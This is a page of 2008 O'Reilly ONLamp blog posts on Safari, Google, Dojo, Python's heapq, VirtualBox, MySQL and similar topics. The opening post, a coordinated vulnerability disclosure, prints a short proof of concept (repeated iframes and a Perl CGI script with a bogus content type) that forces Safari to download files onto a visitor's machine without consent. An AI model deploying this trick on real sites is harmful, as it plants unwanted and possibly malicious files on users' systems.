O'Reilly ONLamp Blog

Safari Carpet Bomb

2008-05-15T06:46:17Z

I recently communicated 3 security issues in the Safari browser to Apple.

Apple let me know that they will fix 1 of the issues I reported. I will not discuss the vulnerability Apple has promised to fix until they release the fix because it is a high risk issue affecting Safari on OSX and Windows.

I let Apple know that I’d like to discuss the 2 issues they won’t be fixing with the security community and they let me know they are fine with it.

A quote from my last email to Apple:

…since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community. Just let me know if you would like me to wait for some amount of time before I do this.

Response from Apple: We understand if you want to discuss these in the security community.

Before I get to the details, I want to make it extremely clear that the Apple security team has been a pleasure to communicate with. I sent them a couple of emails asking for clarifications, and they responded quickly and courteously every time. I want to publicly acknowledge that I appreciate this very much.

Here are the issues I reported:

1. Safari Carpet Bomb. It is possible for a rogue website to litter the user’s Desktop (Windows) or Downloads directory (~/Downloads/ in OSX). This can happen because the Safari browser cannot be configured to obtain the user’s permission before it downloads a resource. Safari downloads the resource without the user’s consent and places it in a default location (unless changed).

Assume you visit a malicious site, http://malicious.example.com/, that serves the following HTML:
<HTML> <iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi"></iframe> <iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi"></iframe> <iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi"></iframe> ... ... ... ... <iframe id="frame" src="http://malicious.example.com/cgi-bin/carpet_bomb.cgi"></iframe> </HTML>
Now assume that http://malicious.example.com/cgi-bin/carpet_bomb.cgi is the following:
#!/usr/bin/perl print "Content-type: blah/blah\n\n"

Since Safari does not know how to render content-type of blah/blah, it will automatically start downloading carpet_bomb.cgi every time it is served. If you are using Safari in Windows, this is what will happen to your desktop once you visit http://malicious.example.com/ :

The implication of this is obvious: Malware downloaded to the user’s desktop without the user’s consent.

Apple does not feel this is a issue they want to tackle at this time. In my most recent email to Apple, I suggested that they incorporate an option in Safari so the browser can be configured to ask the user before anything is downloaded to the local file system. Apple agreed it was a good suggestion:

…the ability to have a preference to "Ask me before downloading anything" is a good suggestion. We can file that as an enhancement request for the Safari team. Please note that we are not treating this as a security issue, but a further measure to raise the bar against unwanted downloads. This will require a review with the Human Interface team. We want to set your expectations that this could take quite a while, if it ever gets incorporated.

[credit to BK have-it-your-way Rios for suggesting the term "Carpet Bomb" to describe this issue].

2. Sandbox not Applied to Local Resources. This issue is more of a feature set request than a vulnerability. For example, Internet Explorer warns users when a local resource such as an HTML file attempts to invoke client side scripting. I feel this is an important security feature because of user expectations: even the most sophisticated users differentiate between the risk of clicking on an executable they have downloaded (risk perceived to be higher) to clicking on a HTML file they have downloaded (risk perceived to be lower).

Apple’s response was positive:
…we have been investigating the potential for a "safe" mode for local HTML. This is an area that requires a fairly deep investigation to address compatibility issues, and to determine the proper operation. Please understand that when we label this as a security hardening measure, we are not discounting the benefits that this could have.

3. [Undisclosed]. The third issue I reported to Apple is a high risk vulnerability in Safari that can be used to remotely steal local files from the user’s file system. Apple responded positively and let me know that they are actively working to resolve the issue and issue a patch. I will post an update if I hear back from them.

I’d like to thank the Apple security team for their timely responses and for letting me discuss these issues with the security community.

Google and Microsoft Contribute to the Same Open Source Project

2008-05-14T15:00:00Z

I happened to come across this article in Redmond Developer News recently…

Redmond Among Contributors to Open Source PHP Framework

…about contributers to the Zend Framework. Among the many (400) contributers to the project are Google and Microsoft. It’s probably just me, but I found it amusing (in a good way) that the two arch-rivals contributed pieces to the same Open Source project.

The article goes on to describe how Microsoft sponsored work to enable InfoCard (now called CardSpace) support in a number of Open Source products including Zend and Ruby on Rails.

Why open source developers can be more productive, and other tales from a Google open house

2008-05-14T12:45:07Z

Yesterday Google celebrated the opening of a larger Cambridge, Massachusetts office, which takes up a substantial part of a building right next to the Kendall/MIT subway stop in the higher-than-high tech area of East Cambridge. I got a look at their new Friend Connect service (covered in a related Radar blog) and heard some fascinating comments that the staff kindly let me reproduce here.

Google staff certainly know how to say the right things and react in ways I approve to the situations Google finds itself in. More and more people I know (including authors) are Google employees, which is statistically predictable because more and more people in general are Google employees. The Cambridge office has been growing wildly since it began with the purchase of the company that created Android. And this office is one of 45 Google offices around the world.

This raises the question of whether the empire can be supported through continued sales of advertising, and whether Google’s stated openness carries through to employee behavior on the ground. I explored these questions with managers and staff at the party.

The resilience of advertising income

I mentioned to an advertising manager my observations on Chris Anderson’s “Free!” article. The manager backed up my assertion that advertising could accomplish more with less money as services such as AdSense made it more effective in reaching targeted viewers. However, the manager was confident that Google could depend on continued ad income, because advertisers will keep up their investment in advertising, simply spending the same amount to accomplish more.

I suppose that competition will drive advertisers to advertise as much as they can. I fear the increase in consumption that this implies, because the earth can’t tolerate more material depletion. What we need is advertising that encourages affluent people to spend money helping people who don’t have enough money. This can actually be more satisfying (as psychologists have found) than throwing money into personal accessories.

Why open source developers can be more productive employees

One staff person said Google likes hiring programmers who contribute to open source projects because they’re more self-motivated. On open source projects, volunteers may be assigned tasks, but often they recognize a need and propose to fill it. The staff person didn’t seem to be grand-standing or trying to look hip by saying this. It just seemed like a reasonable observation that drove recruitment.

Google occupies an odd place in the open community because its code seems divided between two extremes. At one lies secret algorithms that it guards as secretly as a defense agency; the area where it is being challenged by the open Wikia Search project. All other code Google seems willing to release under open source licenses. This is another way of saying that Google understands better than most companies where its competitive advantage lies.

Just as a thought experiment, I imagined what would happen if Wikia Search became popular using open search algorithms. The effect would be similar to what Google does now. SEO experts would constantly implement ways to game the Wikia Search system, and Wikia Search supporters would race to close the holes in the dikes. But because the Wikia Search activity would be open source, multiple solutions would be available at any time (remember, I am totally fantasizing here).

Most likely, volunteers would offer various changes to Wikia Search every morning, and it would be up to the user each time he or she logged in to decide whether to accept the changes. After all, each optimization could cause a degradation in some other aspect of search. Intermediaries would emerge who would evaluate different changes and ask ordinary users to trust their choices.

Innovation is bottom-up

Along the lines of self-motivated employees, I asked a manager whether most of their new products came from the individual employees or from management. He expressed the conviction that most innovation in most companies comes from individual employees. Where management can help is in finding effective places to fit new features into the organization and product line.

Google found that releasing too many products prevented the public from learning about them and adopting them. Adding a feature to an existing product such as Gmail or Blogger could mean that millions of people adopt it, whereas releasing it as a stand-along product might limit adoption to a few thousand.

Choice of licenses for Android applications

An Android manager defended the choice of an Apache license for Android’s code. People answering the Android application challenge don’t even have to provide their source code. (There would probably be ways to achieve this same flexibility using a GPL’d base, but companies might feel afraid to trust it.) The manager said it was crucial to pull in companies who expect to make money licensing applications. And he said that Google could still prevent forking and fragmentation by showing the benefits of using a common, open base.

Why Google is in Boston

The central topic of the party was, of course, Google’s choice to come to Boston as well as dozens of other cities around the world. There were two justifications for this: not all the people you want to hire are willing to move to the Silicon Valley, and having most employees in one location limits their understanding of the needs of other people around the world. This endorsement of diversity was echoed by a university programs specialist who is responsible for promoting interest in computer science programs and recruiting for Google.

Google isn’t going as far as MySQL AB, which allows a lot of one-person offices. But MySQL AB has much more narrowly targeted hiring needs. Google tries to provide enough of a variety of projects in offices such as Boston to provide a place for people who could benefit the company, while trying to avoid splintering its development in too many places.

Privacy initiatives

When a scandal erupted several years ago from a US Justice Department request for data from leading search engines, a number of search engine companies and other interested parties joined together with the goal of promulgating standards for privacy. I asked a Google manager how this was progressing, and he said they were having trouble reaching consensus.

Although Google servers contain a lot of data (including all the contents of the email messages that Gmail users send and receive, and all the documents they store in Google Docs), Google feels it’s on the right side of the privacy debate. They never ask you to explicitly provide personal information, which you automatically give away to dozens of other companies when you pay with a credit card or enter your address for shipping or billing purposes. Many participants in the privacy forum show less concern for privacy and more interest in collecting user data.

I asked whether it would be better for organizations such as EPIC and search engine companies willing to take strong privacy stands to put out standards and start acting on their own. Hopefully, modeling good behavior will provide pressure on other companies to go along.

Transparency comes home

Finally, I had an amusing conversation with a friend who claimed he doesn’t join social networking sites at all. I recommended Dopplr, which I like because it facilitates face-to-face meetings instead of just more online chatter. He worried that exposing all his travel would lead to constant pressures from acquaintances: “Why didn’t you come visit me when you came to…?”

Well, that’s the effect the Internet has. If we benefit from having information at our fingertips, it means we can’t use white lies and silent omissions to accomplish our goals. We all have to be more candid and most explicit. And this is precisely the privacy issue Google faces: giving people information without constraining their options.

Dojo Goodness, Part 7 (Injecting Dojo After Page Load)

2008-05-13T03:08:13Z

On a recent consulting gig, a client had the requirement that a JavaScript deliverable needed to run in a self-enclosed script tag that would be arbitrarily placed within the body of a page. In other words, I needed to deliver a JavaScript file such that the following code snippet would work:


<!-- somewhere in the page... -->
<div id="specialContainer">
    <script type="text/javascript" src="foo.js"></script>
</div>
<!-- ... -->

So, in the end, it’s a pretty routine chore. A special container needs to exist at an arbitrary place in the page, the self-enclosed script tag will do some DOM building within it, and all of the magic happens therein. Well, hopefully, it goes without saying that I wanted to streamline the time it took me to complete this task with the help of Dojo.

Fortunately, version 1.1 added a new parameter you can pass into djConfig called afterOnLoad that allows you to safely inject Dojo into the page after onload hooks have occurred. In case you missed it, this feature was mentioned in the Dojo 1.1 release notes.

Here’s a snippet from how the aforementioned foo.js file that appears in the script tag might look:


//protect our handiwork within the scope of an anonymous function...
(function() {
    //load Dojo (after the page's onload event has already occurred)
    djConfig = {afterOnLoad : true, require:['dojo.date','dojo.cookie']};
    var e = document.createElement("script");
    e.type = "text/javascript";
    e.src= "http://o.aolcdn.com/dojo/1.1/dojo/dojo.xd.js";
    document.getElementsByTagName("head")[0].appendChild(e);

    /* Whenever Dojo has loaded, go about your business. */
})()

In a nutshell, you define djConfig, and then append a script tag into the head of the page that will load Dojo from AOL’s CDN. In this particular case, the dojo.date and dojo.cookie would be automatically loaded as well. The tricky part is in regards to the “Whenever Dojo has loaded…” comment: as of version 1.1 there isn’t a built-in way of determining when Dojo has actually loaded, and since the script tag that loads Dojo is asynchronous, you can’t necessarily use anything in the dojo.* namespace until whenever it is finally available. In other words, you don’t have the safety or convenience of a dojo.addOnLoad block in this case, so when should you actually start using stuff inside of the dojo.* namespace?

Well — let not your heart be troubled; until version 1.2 is released that introduces the ability to provide an afterOnLoad parameter directly to djConfig, you might get by with this simple hack as a stop gap:


/* Right after you have appended the script tag into the head of the page... */

/* Check every second to see if it's safe to kick things off... */
var _interval = setInterval(function() {
    if (window.dojo !== undefined) { // && window.dojo.date !== undefined && ...
        clearInterval(_interval);

        /* Whatever it is you're actually setting out to do... */

    }
}, 1000);

By the way, all it took was a ping to JavaScript hacker extraordinaire James Burke to get the addOnLoad featured added to version 1.2 so that everything will work a little more conventionally. (Sweet!)

You may not have realized it, but the intent of this column was multipurpose. Yes, I wanted to show you how you could use Dojo as part of a self-enclosed script tag after page load, which is useful for employing Dojo as part of an application that might appear on a social networking site or a bookmarklet, but I also wanted to illustrate at least two other things: 1) While Dojo may not drop a turn-key solution right into your lap 100% of the time, JavaScript’s incredible dynamism and some ingenuity can still usually get you to where you need to go in short order, and 2) all it might take is a filing a ticket on Trac or asking someone in #dojo (IRC over at freenode.net) for help to get that turnkey solution you may be looking for delivered in the next dot release if it’s a good feature. You’ll hear me say time and time again that Dojo’s community is second to none.

If you find yourself in need of a good desktop reference on Dojo, please checkout my upcoming book, Dojo: The Definitive Guide. I’m completing the final edits this week, and it’ll be off to the printers soon thereafter.

Last but not least — if you’re going to OSCON, you might also register for my session entitled Web Graphics & Animations Without Flash (Or gfx Deliciousness with Dojo) or otherwise drop me a line if you want to get together and chat at some point during the week. The chances are pretty good that I’ll be shifting gears in the coming weeks and run a few columns on the dojox.gfx module as I prep my slides.

oCERT: Open Source Computer Emergency Response Team

2008-05-12T12:00:00Z

Microsoft’s Patch Tuesday will be upon us soon patching 3 critical and 1 moderate security problems. Security issues aren’t just a problem for Microsoft software of course. And, I recently learned about…

oCERT: Open Source Computer Emergency Response Team

…which describes itself like this…

The oCERT project is a public effort providing security handling support to Open Source projects affected by security incidents or vulnerabilities, just like national CERTs offer services for their respective countries.

There doesn’t seem to be a lot there yet (only 4 advisories posted so far, the last on April 17). But, I hope oCERT will become a good resource for those of us who deploy a lot of Open Source applications.

Port 25 Security Related Blog items

Another Virtualization Option: No, not VMware, or Xen, or Virtual Server…

2008-05-12T04:01:03Z

Okay, actually, there are a number of virtualization options not listed in the title, but the one nobody seems to be talking much about Sun’s xVM VirtualBox. But, wait! you say, Sun begs to differ: “Sun xVM VirtualBox software is the world’s most popular open source virtualization platform because of its fast performance, ease of use, rich functionality, and modular design.”

Some cool features of VirtualBox include:

• Seamless windows - rather than a whole desktop environment, just the guest application windows can co-exist alongside native host applications.
• Shared Folders - easily move documents and files between the host and guest systems.
• Mouse pointer integration - it just works how you’d expect it to.
• Dynamically adjustable screen resolution in the guest.
• Time Synchronization.
• Shared clipboard.

A lot of that is available elsewhere (e.g., time sync and shared folders), but seamless windows is a nice touch.
AND, VirtualBox is open source!

Do check it out.

PyMOTW: heapq

2008-05-11T18:13:20Z

The heapq implements a min-heap sort algorithm suitable for use with Python’s lists.

Module: heapq
Purpose: In-place heap sort algorithm
Python Version: New in 2.3 with additions in 2.5

Description:

A heap is a tree-like data structure where the child nodes have a sort-order relationship with the parents. Binary heaps can be represented using a list or array organized so that the children of element N are at positions 2*N+1 and 2*N+2 (for zero-based indexes). This feature makes it possible to rearrange heaps in place, so it is not necessary to reallocate as much memory when adding or removing items.

A max-heap ensures that the parent is larger than or equal to both of its children. A min-heap requires that the parent be less than or equal to its children. Python’s heapq module implements a min-heap.

Creating a Heap:

There are 2 basic ways to create a heap, heappush() and heapify().

Using heappush(), the heap sort order of the elements is maintained as new items are added from a data source.

import heapq
from heapq_showtree import show_tree
from heapq_heapdata import data

heap = []
print 'random :', data
print

for n in data:
 print 'add %3d:' % n
 heapq.heappush(heap, n)
 show_tree(heap)


$ python heapq_heappush.py
random : [19, 9, 4, 10, 11, 8, 2]

add  19:

                 19                 
------------------------------------

add   9:

                 9                  
        19        
------------------------------------

add   4:

                 4                  
        19                9         
------------------------------------

add  10:

                 4                  
        10                9         
    19   
------------------------------------

add  11:

                 4                  
        10                9         
    19       11   
------------------------------------

add   8:

                 4                  
        10                8         
    19       11       9    
------------------------------------

add   2:

                 2                  
        10                4         
    19       11       9        8    
------------------------------------

If the data is already in memory, it is more efficient to use heapify() to rearrange the items of the list in place.

import heapq
from heapq_showtree import show_tree
from heapq_heapdata import data

print 'random    :', data
heapq.heapify(data)
print 'heapified :'
show_tree(data)


$ python heapq_heapify.py
random    : [19, 9, 4, 10, 11, 8, 2]
heapified :

                 2                  
        9                 4         
    10       11       8        19   
------------------------------------

Accessing Contents of a Heap:

Once the heap is organized correctly, use heappop() to remove the element with the lowest value. In this example, adapted from the stdlib documentation, heapify() and heappop() are used to sort a list of numbers.

import heapq
from heapq_showtree import show_tree
from heapq_heapdata import data

print 'random    :', data
heapq.heapify(data)
print 'heapified :'
show_tree(data)
print

inorder = []
while data:
 smallest = heapq.heappop(data)
 print 'pop    %3d:' % smallest
 show_tree(data)
 inorder.append(smallest)
print 'inorder   :', inorder


$ python heapq_heappop.py
random    : [19, 9, 4, 10, 11, 8, 2]
heapified :

                 2                  
        9                 4         
    10       11       8        19   
------------------------------------


pop      2:

                 4                  
        9                 8         
    10       11       19   
------------------------------------

pop      4:

                 8                  
        9                 19        
    10       11   
------------------------------------

pop      8:

                 9                  
        10                19        
    11   
------------------------------------

pop      9:

                 10                 
        11                19        
------------------------------------

pop     10:

                 11                 
        19        
------------------------------------

pop     11:

                 19                 
------------------------------------

pop     19:

------------------------------------

inorder   : [2, 4, 8, 9, 10, 11, 19]

To remove existing elements and replace them with new values in a single operation, use heapreplace().

import heapq
from heapq_showtree import show_tree
from heapq_heapdata import data

heapq.heapify(data)
print 'start:'
show_tree(data)

for n in [0, 7, 13, 9, 5]:
 smallest = heapq.heapreplace(data, n)
 print 'replace %2d with %2d:' % (smallest, n)
 show_tree(data)

This technique lets you maintain a fixed size heap, such as a queue of jobs ordered by priority.


$ python heapq_heapreplace.py
start:

                 2                  
        9                 4         
    10       11       8        19   
------------------------------------

replace  2 with  0:

                 0                  
        9                 4         
    10       11       8        19   
------------------------------------

replace  0 with  7:

                 4                  
        9                 7         
    10       11       8        19   
------------------------------------

replace  4 with 13:

                 7                  
        9                 8         
    10       11       13       19   
------------------------------------

replace  7 with  9:

                 8                  
        9                 9         
    10       11       13       19   
------------------------------------

replace  8 with  5:

                 5                  
        9                 9         
    10       11       13       19   
------------------------------------

Data Extremes:

heapq also includes 2 functions to examine an iterable to find a range of the largest or smallest values it contains. Using nlargest() and nsmallest() are really only efficient for relatively small values of n > 1, but can still come in handy in a few cases.

import heapq
from heapq_heapdata import data

print 'all       :', data
print '3 largest :', heapq.nlargest(3, data)
print 'from sort :', list(reversed(sorted(data)[-3:]))
print '3 smallest:', heapq.nsmallest(3, data)
print 'from sort :', sorted(data)[:3]


$ python heapq_extremes.py
all       : [19, 9, 4, 10, 11, 8, 2]
3 largest : [19, 11, 10]
from sort : [19, 11, 10]
3 smallest: [2, 4, 8]
from sort : [2, 4, 8]

References:

heapq Theory
WikiPedia - Heap Data Structure
Python Module of the Week Home
Download Sample Code

Technorati Tags:
python, PyMOTW

Microsoft CodeBox: Lessons from the Open Source Community

2008-05-09T12:00:00Z

There’s an interesting four page PDF file that appeared recently on the Microsoft downloads site titled…

Open Source at Microsoft CodeBox: Bringing the Open Source Approach In-House

It answers the question: Could the community and collaborative concepts that
underlie open source projects be applied internally to Microsoft product engineering?

CodeBox is an software development environment that was developed as an internal tool to help Microsoft apply the Open Source software development model internally. It gives Microsoft’s programmers and internal tool to manage shared code.

Google App Engine Application Request: Python User Group Website

2008-05-09T10:27:30Z

If anyone was interested in a great Google App Engine project, I would love to see a community blog/speaker registration tool. Jeff Rush mentioned something like this a couple of PyCons ago, but now there is the technology available for free with Google App Engine. Basically, it would be cool to have a google app engine app that allowed organizers to book meetings and plan them, then post about the meetings, and finally “book” speakers that happen to be traveling to that city.

Currently there is this blog, but I find it difficult to post the data there, plus our meetup site, plus by email…etc. Making this process easier would be awesome.

On a side note, is there a chart somewhere that graphs what open source web application components are working and what isn’t on google app engine. For example:

Templates:

Genshi
Django
Mako

URL:

blah

Frameworks:

blah

How Fresh is the CPAN?

2008-05-09T00:26:22Z

I like numbers. They can mean a lot of things.

Rather than continuing silly arguments over obfuscated and flawed measurements of “language popularity”, perhaps a better way of measuring the viability of a language or platform is to measure the freshness of its ecosystem.

LaPerla’s How Fresh is the CPAN? measures the upload dates of one of the world’s largest and most active repositories of free software. Of the 12,000 (or is it 14,000 now?) distributions on the CPAN, 25% have a most recent upload date of February 2008 or newer. Half have an upload date of 2007 or newer.

You don’t get those kinds of statistics by putting “Ruby Programming” into Google and pretending the results are meaningful.

Microsoft Windows now supports.. PAM!

2008-05-08T22:01:34Z

If you are at all familiar with the UNIX or Linux world, you will know about the Pluggable Authentication Module (PAM) functionality. Essentially, PAM is a highly extensible login framework for authenticating and authorizing a user for access to a server. Prior to PAM, most logins worked directly against the local /etc/passwd database, but with PAM, users are authenticated against the PAM library, which in turns relies on a series of “modules” (surprise!) that return a Yes/No response. On many UNIX and Linux boxes, PAM still relies on /etc/passwd, but it doesn’t have to—and often doesn’t. For example, LDAP is quite often supported for authentication, and this is done by simply adding the right LDAP module to your PAM configuration.

Yawn.

Well, it is all very cool of actually, but it is old news in the UNIX world.

Now, Windows has supported this, kind of, a little bit, with GINA and GINA chaining and what-have-you, but it is really JUST NOT DONE. In addition, the GINA chaining concept is rarely if ever used. (I have heard because of reliability issues.)

However, Vista now supports a new model known as Credential Provider, which is deceptively like… PAM! Well, cool. (And they say Microsoft doesn’t learn!)

Anyway, I suggest you take a look at this as it’s all very nifty stuff:

Windows Vista Sample Credential Providers Overview

Credential Provider Samples

New Authentication Functionality in Windows Vista

MySQL Code, API, and Data Formats Are Open!

2008-05-07T13:00:00Z

OK, I know this is NOT the Inside MySQL blog area. But, MySQL is the “M” in both LAMP and WAMP. And, as one of the people who wasn’t very happy by MySQL’s decision to close source parts of the upcoming MySQL 6.0, I thought I should help spread the good news announced by MySQL’s VP for Community Relations - Kaj Arnö:

MySQL Server is Open Source, even Backup extensions

His six main points are:

- MySQL Server is and will always remain fully functional and open source
- MySQL Connectors will be open source
- The main storage engines will be open source
- MySQL 6.0’s pending backup functionality will be open source
- The MyISAM driver for MySQL Backup will be open source, and
- The encryption and compression backup features will be open source

Ignite Boston 3

2008-05-07T12:24:55Z

The third Ignite Boston will be on Thursday, May 29, from 6 to 10pm at Tommy Doyle’s in Harvard Square, Cambridge, MA. This time, we’re using two floors at Tommy Doyle’s, so the acoustics will be better than our first event there. From 6-6:45 pm, mingle and talk tech with your fellow FOOs, alpha geeks, and techies from the greater Boston area. After the mingling and social stuff, we’ll have a couple of special keynote presentations by Jonathan Zdziarski of iPhone notoriety and John Viega of Security notoriety to kick off our Ignite talks. Then, onto guest speakers who’ll catch you up on the cool, new, innovative stuff going on in technology today. Don’t blink or you’ll miss their lightning-fast, five-minute presentations. During intermissions, get a cold beer and chat with speakers, sponsors, and O’Reilly’s own editors. Join us Thursday, May 29, for a fun, energetic evening of talking, learning, collaborating and drinking!

Check out the events and activities of previous our Ignite events.

RSVP If you plan to attend, email IgniteBoston at oreilly dot com for the chance to win $300 worth of O’Reilly books of your choosing. You must be present to win. There will likely be other items like tee-shirts and other promo items for those who alert us ahead that they plan to attend.

Presentation Guidelines

Ignite is a user-generated event. If you’re interested in speaking, then submit a proposal for consideration.

Presentations must:

Be no longer than 5 minutes
Be on an innovative topic (no sales pitches, please!)
Be viewable on a PC [a MacBook Pro with Powerpoint and Keynote, and PDF] with standard AV equipment
Did we mention, no Sales Pitches.

Greedy Coin Google App Engine Application With Source

2008-05-06T04:00:44Z

Here is an application on Google App Engine Application I wrote for an upcoming PyAtl Talk, and an upcoming O’Reilly Online Article: http://greedycoin.appspot.com/

Quick notes: Really liking the datastore API. I also liked the Django templates even though I have touched them in over a year and a half. I am looking for Google App Engine consulting or contract work…anyone..anyone :)

Post-Its from BarCampPortland

2008-05-05T19:07:49Z

(Cross-posted from perlbuzz.com)

Selena Deckelmann has come back from BarCampPortland with copies of every Post-It on the topic selection board. The topic selection board at an unconference like a BarCamp is where people write on a Post-It a topic they’d like to see presented, and put it on a board for all to see. Whichever topics people vote for are the topics that are presented.

Scanning through the photoset on Flickr is fascinating, as these often are. Topics range from Pirates Paying Artists to WordPress as CMS to How to lie with statistics to Should we replace Congress with a wiki?

Also fascinating to see how widespread Twitter has become, with half the Post-Its leaving @usernames as contact information.

Makes me want to start up a Bar Camp Chicago. And move to Portland.